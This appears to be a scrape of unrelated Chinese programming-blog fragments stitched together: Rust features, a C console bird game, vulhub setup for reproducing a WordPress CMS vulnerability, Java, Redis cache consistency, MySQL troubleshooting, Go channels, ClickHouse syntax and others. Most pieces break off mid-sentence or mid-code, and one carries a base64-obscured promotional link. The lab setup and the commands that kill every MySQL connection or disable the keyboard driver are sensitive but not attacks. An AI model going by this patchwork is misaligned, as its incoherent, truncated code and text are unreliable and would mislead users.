仿射类型借用、生命周期 Rust编译器可以在编译器对类型就行检查,看其是否满足安全内存模型,在编译期就能发现内存不安全问题,同时会检测出多线程并发代码中所有的数据竞争问题
2.2 零成本抽象 变成语言做到高效开发,就必须拥有一定的抽象表达能力。对于Ruby这种语言,抽象表达能力是靠性能换来的,Rust不会存在运行时开销,因为这一切都是在编译期完成的。
Rust零成本抽象的基石是泛型和trait。
2.3 实用性 如何评价一门编程语言的实用性,可以从三个方面进行评价:
实践性 首先必须能够应用于开发工业级产品,其次要易于学习和使用有益性 能够对业界产生积极的效果活影响稳定性 语言自身稳定。 (注: 本文参考张汉东老师《Rust编程之道》)
目录
制作一个可控制上下飞行的小鸟
Sleep函数
添加障碍墙,并且让障碍墙移动、重现
补充计分功能&&呈现完整代码
声明:本游戏参考《c语言课程设计与游戏开发实践教程》。
前言 视频效果如下
game2.3小鸟
小鸟的图案非常简单,可以通过空格来控制小鸟上下飞行并且穿过墙壁缝隙,通过一个缝隙记一分,撞墙了就game over。
本游戏知识点
基础知识点:printf输出,for语句,if语句,while循环,函数的自定义和引用,各种运算符,定义全局变量。
(可能的)拓展知识点:gotoxy函数,rand函数,方便的getch函数,kbhit函数,隐藏光标函数,sleep函数。
很多拓展知识在我上一篇文章http://t.csdn.cn/4XvHr都有介绍。
上一篇没讲解的放在这一篇来讲。
制作一个可控制上下飞行的小鸟 画面效果概述:小鸟的图案可以是任意一个符号,小鸟在没收到操作时会自由下落,按空格键可以让小鸟往上飞。
Sleep函数 属于windows.h函数库。根据不同系统和编译器,有时候也写做cwindow.h。头文件加上#include <windows.h>或者#include<cwindow.h>。作用:在此处让程序运行暂缓***毫秒。使用:Sleep();S是大写,括号内数字默认单位是毫秒。(根据不同系统和编译器,有时候也有可能是小写s)。 下面是代码和详细解析
#include <stdlib.h> //rand函数库 #include <stdio.h> #include <windows.h> //sleep函数库 #include <conio.h> //kbhit函数,rand函数库 //定义全局变量 int high,width;//画面大小 int x,y;//鸟的位置坐标 void gotoxy(int x,int y) //作用类似是清屏函数,写法固定 { HANDLE handle=GetStdHandle(STD_OUTPUT_HANDLE); COORD pos; pos.X=x; pos.Y=y; SetConsoleCursorPosition(handle,pos); } void start() //赋值 { high=15; width=32; x=width/8;//小鸟横坐标 y=0; } void show() //显示画面 { gotoxy(0,0); //每次光标回到(0,0),我们认为起到了清屏作用 int i,n; for(i=0;i<high;i++){ for(n=0;n<width;n++){ if((i==y)&&(n==x)) printf("
漏洞复现 cms漏洞环境搭建漏洞复现 cms 1.内容管理系统(content management system,CMS),是一种位于WEB前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。
2.常见的cms系统
国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。
国内则是DedeCMS和帝国,PHPCMS等。
漏洞环境搭建 一、安装docker(docker要安装在centos7 以上的版本)*
1.1 yum install docker — 使用linux本地仓库下载docker
1.2 docker version — 查看版本信息 ;出现下图,则安装成功
1.3 systemctl start docker— 启动docker
二、安装dockers compose(Compose 是用于定义和运行多容器 Docker 应用程序的工具。)
2.1 setenforce 0— 临时关闭防火墙
2.2 cd /usr/local/bin—设置dockers compose的安装目录
2.3 curl -L https://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-uname -s-uname -m > /usr/local/bin/docker-compose—高速安装
2.4 docker-compose veersion --查看版本;出现下图,则安装成功
三、搭建vulhub靶场(Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。)
3.1 mkdir /vulhub— 在根目录下创建vulhub目录
3.2 环境下载地址:https://github.com/vulhub/vulhub/archive/master.zip
漏洞复现 1.setenfroce 0 可以先执行命令 临时关闭防火墙
2.cd vulhub/wordpress/pwnscriptum进入到漏洞目录
【案例二】小明都可以买什么 编写一个智能购物计算小程序,在一家商店有书本、铅笔、橡皮、可乐、零食5种零食商品商品价格如表商品名称 价格 商品名称价格(元)书本12铅笔1橡皮2可乐3零食5 假如小明带了20元,且必须购买一本书,剩余的钱还可以购买那种商品,可以购买几件,购买完还剩余多少钱?
package com.powershow.xiaoming; import java.util.Scanner; public class Shopping { //剩余金钱 static int residue = 0; public static void main(String[] args) { Scanner sc = new Scanner(System.in); //开始拥有金钱 int capital = 20; //商品价格 int book = 12; int pencil = 1; int eraser = 2; int coke = 3; int snacks = 5; System.out.println("-------欢迎来到购物中心-------"); System.out.println("1.书本价格"+book+"元\n"+"2.铅笔价格"+pencil+"元\n"+ "3.橡皮价格"+eraser+"元\n"+"4.可乐价格"+coke+"元\n"+"5.零食价格"+snacks+"元"); String choose = "1"; while(choose.equals("1")){ System.out.println("请输入您要购买的商品序号"); int id = sc.nextInt(); switch (id){ case 1: System.
文章目录 前言一、先更新数据库,再更新redis二、先更新redis,在更新数据库三 先更新数据库,再删除redis四 先删除redis,再更新数据库总结 前言 如何保证数据库和缓存双写一致,下面提供几种方法,来讨论下他们的优缺点。
一、先更新数据库,再更新redis 这种方案,应该没人采用。
如果先更新数据库成功,接着更新redis失败,那么会造成数据不一致,所以这种方法舍弃
二、先更新redis,在更新数据库 这种方案和第一种相似,也具有相同的问题
如果更新reids成功,更新数据库失败,那么同样会造成数据不一致
三 先更新数据库,再删除redis 这种方案,同样会造成数据不一致的问题,但是相比上两个方案,如果他设置key的过期时间,那么保证了数据的最终一致性。如果在更新数据库后删除redis失败,又未设置redis过期时间。那么会造成数据不一致。
如果线程A更新数据库,正准备更新redis时。线程B在更新线程A更新redis前获取了redis中的数据,那么其他数据拿到的数据还是旧数据,如果删除redis失败也会造成数据不一致
解决方案:
1.mysql和redis设置事务,在发生异常时回滚数据
2.redis设置重试机制,在删除失败后进入重试模式
四 先删除redis,再更新数据库 这种方案,同样存在一定几率的不一致现象,但是已经接近最优了。
如果线程A删除了redis,正准备更新数据库。线程B查询了redis没有之后,查询了数据库的旧数据,并且把它写到redis。之后线程A才更新数据成功,会出现数据库和redis的数据不一致
解决方案:延迟双删
线程A在删除redis以及更新数据库后,睡眠一段时间后,再次删除reids中的数据。这个睡眠时间得大于一次查询的时间。
总结 数据一致性没有绝对的保证,要么牺牲性能加锁,要么串行。在高并发下,这些方案都只能做到优化
最后 深知大多数初中级Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则近万的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《Java开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
小编已加密:aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因,我们把网站通过base64编码了,大家可以通过base64解码把网址获取下来。
1.查看生产DB服务器top列表,
执行 top 命令
2.使用root用户登录mysql
执行 show full processlist 查看慢查询,反复执行,如果发现一直有select 查询语句存在,为了缓解DB服务器压力,直接使用kill命令杀掉
kill 慢查询的id
如果服务器压力缓解,恢复正常。
3.查询是否有锁问题
show OPEN TABLES where In_use > 0;
查看正在锁的事务
SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS;
查看等待锁的事务
SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS;
4.杀掉当前所有的MySQL连接
mysqladmin -uroot -p processlist|awk -F “|” ‘{print $2}’ |xargs -n 1 mysqladmin -uroot -p kill
Mysql占用CPU过高如何优化
1.打开慢查询日志,查询是否是某个SQL语句占用过多资源,如果是的话,可以对SQL语句进行优化,比如优化 insert 语句、优化 group by 语句、优化 order by 语句、优化 join 语句等等;
2.考虑索引问题,使用explain关键字分析SQL
3.定期分析表,使用optimize table;
4.优化数据库对象;
5.考虑是否是锁问题;
6.调整一些MySQL Server参数,比如key_buffer_size、table_cache、innodb_buffer_pool_size、innodb_log_file_size等等;
7.如果数据量过大,可以考虑使用MySQL集群或者搭建高可用环境。
最后 深知大多数初中级Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则近万的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
嵌入式考试面试题(部分) 该说不说很多厉害的up发表了很多资料,我也有查阅一些,下面是我所永远的点点资料,目前只有填空部分,大家如果看了下面的并且完成了记得私发一份哈哈 那么正题开始!!!
填空 在Linux系统中,以 文件 方式访问设备 。Linux内核引导时,从文件 /etc/fstab 中读取要加载的文件系统。Linux文件系统中每个文件用 i节点 来标识。全部磁盘块由四个部分组成,分别为引导块 、专用块 、 i节点表块 和数据存储块。链接分为: 硬链接 和 符号链接 。超级块包含了i节点表 和 空闲块表 等重要的文件系统信息。某文件的权限为:d-rw-_r–_r–,用数值形式表示该权限,则该八进制数为: 644 ,该文件属性是 目录 。前台起动的进程使用 Ctrl+c 终止。静态路由设定后,若网络拓扑结构发生变化,需由系统管理员修改路由的设置。网络管理的重要任务是: 控制 和 监控 。安装Linux系统对硬盘分区时,必须有两种分区类型: 文件系统分区 和 交换分区 。编写的Shell程序运行前必须赋予该脚本文件 执行 权限。系统管理的任务之一是能够在 分布式 环境中实现对程序和数据的安全保护、备份、恢复和更新。系统交换分区是作为系统 虚拟存储器 的一块区域。内核分为 进程管理系统 、 内存管理系统 、 I/O管理系统 和文件管理系统 等四个子系统。内核配置是系统管理员在改变系统配置 硬件 时要进行的重要操作。在安装Linux系统中,使用netconfig程序对网络进行配置,该安装程序会一步步提示用户输入主机名、域名、域名服务器、IP地址、 网关地址 和 子网掩码 等必要信息。唯一标识每一个用户的是用户 ID 和用户名。 20 . RIP 协议是最为普遍的一种内部协议,一般称为动态路由信息协议。
在Linux系统中所有内容都被表示为文件,组织文件的各种方法称为 文件系统 。DHCP可以实现动态 IP 地址分配。系统网络管理员的管理对象是服务器、 用户 和服务器的进程 以及系统的各种资源。网络管理通常由监测、传输和管理三部分组成,其中管理部分是整个网络管理的中心。当想删除本系统用不上的 设备驱动程序 时必须编译内核,当内核不支持系统上的 设备驱动程序 时,必须对内核 升级 。 26 Ping命令可以测试网络中本机系统是否能到达 一台远程主机 ,所以常常用于测试网络的 连通性 。
自己尝试了有用
禁用
sc config i8042prt start= disabled 启用
sc config i8042prt start= demand
channel Go语言中的通道(channel)是一种特殊的类型。
在任何时候,同时只能有一个 goroutine 访问通道进行发送和获取数据。goroutine 间通过通道就可以通信。
通道像一个传送带或者队列,总是遵循先入先出(First In First Out)的规则,保证收发数据的顺序。
(1)channel本身是一个队列,先进先出
(2)线程安全,不需要加锁
(3)本身是有类型的,string, int 等,如果要存多种类型,则定义成 interface类型
(4)channel是引用类型,必须make之后才能使用,一旦 make,它的容量就确定了,不会动态增加!!它和map,slice不一样
特点:
(1)一旦初始化容量,就不会改变了。
(2)当写满时,不可以写,取空时,不可以取。
(3)发送将持续阻塞直到数据被接收
把数据往通道中发送时,如果接收方一直都没有接收,那么发送操作将持续阻塞。Go 程序运行时能智能地发现一些永远无法发送成功的语句并做出提示
(4)接收将持续阻塞直到发送方发送数据。
如果接收方接收时,通道中没有发送方发送数据,接收方也会发生阻塞,直到发送方发送数据为止。
(5)每次接收一个元素。
通道一次只能接收一个数据元素。
1、关于 channel的声明和使用的代码: package main import ( "fmt" ) func main() { //演示一下管道的使用 //1. 创建一个可以存放3个int类型的管道 var intChan chan int intChan = make(chan int, 3) //2. 看看intChan是什么 fmt.Printf("intChan 的值=%v intChan本身的地址=%p ", intChan, &intChan) //3. 向管道写入数据 intChan<- 10 num := 211 intChan<- num intChan<- 50 // //如果从channel取出数据后,可以继续放入 <-intChan intChan<- 98//注意点, 当我们给管写入数据时,不能超过其容量 //4.
ClickHouse查询语句兼容大部分SQL语法,并且进行了更加丰富的扩展,查询语句模板如下:
[WITH expr_list|(subquery)] SELECT [DISTINCT [ON (column1, column2, ...)]] expr_list [FROM [db.]table | (subquery) | table_function] [FINAL] [SAMPLE sample_coeff] [ARRAY JOIN ...] [GLOBAL] [ANY|ALL|ASOF] [INNER|LEFT|RIGHT|FULL|CROSS] [OUTER|SEMI|ANTI] JOIN (subquery)|table (ON <expr_list>)|(USING <column_list>) [PREWHERE expr] [WHERE expr] [GROUP BY expr_list] [WITH ROLLUP|WITH CUBE] [WITH TOTALS] [HAVING expr] [ORDER BY expr_list] [WITH FILL] [FROM expr] [TO expr] [STEP expr] [LIMIT [offset_value, ]n BY columns] [LIMIT [n, ]m] [WITH TIES] [SETTINGS ...] [UNION .
修改配置文件导致 MySQL 服务无法启动和停止,并且 MySQL 服务操作按钮变为灰色 目录 修改配置文件导致 MySQL 服务无法启动和停止,并且 MySQL 服务操作按钮变为灰色 一、问题描述二、解决方法 1、使用 tasklist 命令查找 MySQL 进程2、强行终止 MySQL 进程3、查看 MySQL 服务的状态4、启动 MySQL 服务 三、总结 一、问题描述 Windows 环境下修改了 MySQL 的配置文件(my.ini),重新启动服务时出现错误。如下图所示:
查看 Windows 服务,发现 MySQL 服务的所有操作按钮都变成灰色,无法进行任何操作。如下图所示:
二、解决方法 1、使用 tasklist 命令查找 MySQL 进程 C:UsersAdministrator>tasklist 映像名称 PID 会话名 会话# 内存使用 ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 1,896 K Registry 120 Services 0 43,936 K smss.